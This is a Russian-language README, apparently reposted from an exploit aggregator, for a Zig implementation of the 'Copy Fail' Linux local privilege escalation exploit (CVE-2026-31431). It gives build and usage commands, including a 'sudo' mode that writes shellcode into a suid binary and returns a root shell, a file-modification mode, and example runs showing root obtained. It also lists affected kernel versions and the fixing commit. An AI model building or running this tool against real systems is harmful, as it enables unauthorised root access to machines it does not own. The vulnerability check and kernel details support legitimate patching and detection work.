## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-EMMMMLLLL-COPY-FAIL-ZIG
# Реализация Copy Fail (CVE-2026-31431) на Zig
Реализация на Zig 732-байтового proof of concept для Linux LPE Copy Fail (CVE-2026-31431), раскрытого Theori / Xint 29 апреля 2026 года. Описание можно найти на copy.fail.
Эта реализация не имеет зависимостей времени выполнения и может запускаться как автономный бинарный файл.
# Сборка
Для сборки эксплойта требуется версия zig 0.16.0 или выше, которую можно установить с ziglang.org. Чтобы собрать эксплойт, выполните следующую команду в терминале:
root@kitploit:~
zig build
При желании его можно кросс-скомпилировать для другой целевой платформы например
root@kitploit:~
zig build -Dcpu=baseline -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSmall
или с несжатыми полезными нагрузками
root@kitploit:~
zig build -Dcompress=false
# Использование
либо запустите скомпилированный бинарный файл, либо используйте zig для его запуска
root@kitploit:~
zig-out/bin/copyfail
ИЛИ
zig build run
root@kitploit:~
$ zig-out/bin/copyfail
Использование:
run <путь> <данные> [смещение] [-- аргументы...] - Записать данные в исполняемый файл по указанному смещению (по умолчанию 0) и запустить его
sudo <путь_suid> [команда...] - Выполняет команду от имени root, записывая шеллкод в suid-бинарный файл.
(первый аргумент команды должен быть полным путём к запускаемой программе)
modify <путь> <данные> [смещение] - Записать данные в файл по указанному смещению (по умолчанию 0)
reset <путь> - Сбросить файл в исходное состояние
help - Показать это сообщение
Исполняемый файл можно запускать с разными командами:
**`run`** сначала записывает предоставленные данные по указанному смещению (по умолчанию 0) в исполняемый файл по указанному пути, затем запускает его. После завершения выполнения файл сбрасывается в исходное состояние с помощью posix_fadvise.
Пример:
root@kitploit:~
copyfail run /путь/к/exe $(cat shellcode_bin) -- /bin/sh
**`sudo`** записывает встроенный шеллкод в suid-бинарный файл и выполняет его для запуска команды от имени root. Исходный код шеллкода можно найти в `payloads/sudo.zig`. Первый аргумент команды должен быть полным путём к программе, так как шеллкод не ищет программу для запуска. После завершения выполнения файл сбрасывается, как в команде `run`.
Пример:
root@kitploit:~
$ copyfail sudo /usr/bin/su /usr/bin/whoami
root
**`modify`** записывает предоставленные данные по указанному смещению (по умолчанию 0) в файл по указанному пути, без его выполнения. После изменения файл **НЕ** сбрасывается. Используйте команду `reset` для его сброса.
Пример:
root@kitploit:~
copyfail modify /путь/к/файлу "Моё новое содержимое" 1337
**`reset`** сбрасывает файл по указанному пути в исходное состояние с помощью posix_fadvise. Это отбрасывает кэшированную страницу и при следующем обращении содержимое будет прочитано с диска.
Пример:
root@kitploit:~
copyfail reset /путь/к/файлу
**`is_vulnerable`** проверяет, уязвима ли система, создавая временный файл, записывая в него тестовые данные и считывая их обратно, чтобы увидеть, не были ли данные повреждены.
Пример:
root@kitploit:~
$ copyfail is_vulnerable
warning: Система уязвима
ИЛИ
info: Система не уязвима
**`help`** выводит сообщение об использовании.
# Затронутые ядра (из copy-fail-c)
root@kitploit:~
нижняя граница: torvalds/linux 72548b093ee3 август 2017, v4.14
(переработка iov_iter в AF_ALG,
которая ввела примитив записи
в файловую страницу через splice
в scatterlist AEAD)
верхняя граница: torvalds/linux a664bf3d603d апрель 2026, mainline
(отменяет оптимизацию algif_aead
на месте от 2017 года; разделяет
исходный и целевой scatterlist,
так что страницы page-cache больше
не могут быть доступным для записи
криптографическим целевым объектом)
Между ними: все ядра основных дистрибутивов, которые не перенесли исправление. Ubuntu, RHEL, SUSE, Amazon Linux и Debian были подтверждены как уязвимые в своих стандартных ядрах для облачных образов на момент раскрытия. Бэкпорты на уровне дистрибутивов начали выходить примерно 2026-04-29 вместе с публичным раскрытием. Чтобы проверить, попадает ли целевое ядро в окно уязвимости, проверьте, присутствует ли `a664bf3d603d` (или его бэкпорт для конкретного дистрибутива) в git-логе ядра или в журнале изменений дистрибутива.
# Лицензия и благодарности
Обнаружение и первоначальное раскрытие CVE-2026-31431: Theori / Xint. Публичное описание на copy.fail.
Эта реализация на Zig: Emmmmllll some-email@example.com
Компилятор Zig и стандартная библиотека: Zig Software Foundation на условиях MIT https://codeberg.org/ziglang/zig.
Эксплойт и полезная нагрузка опубликованы для целей исследования безопасности и защитного обнаружения. Использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, — ваша проблема, а не автора.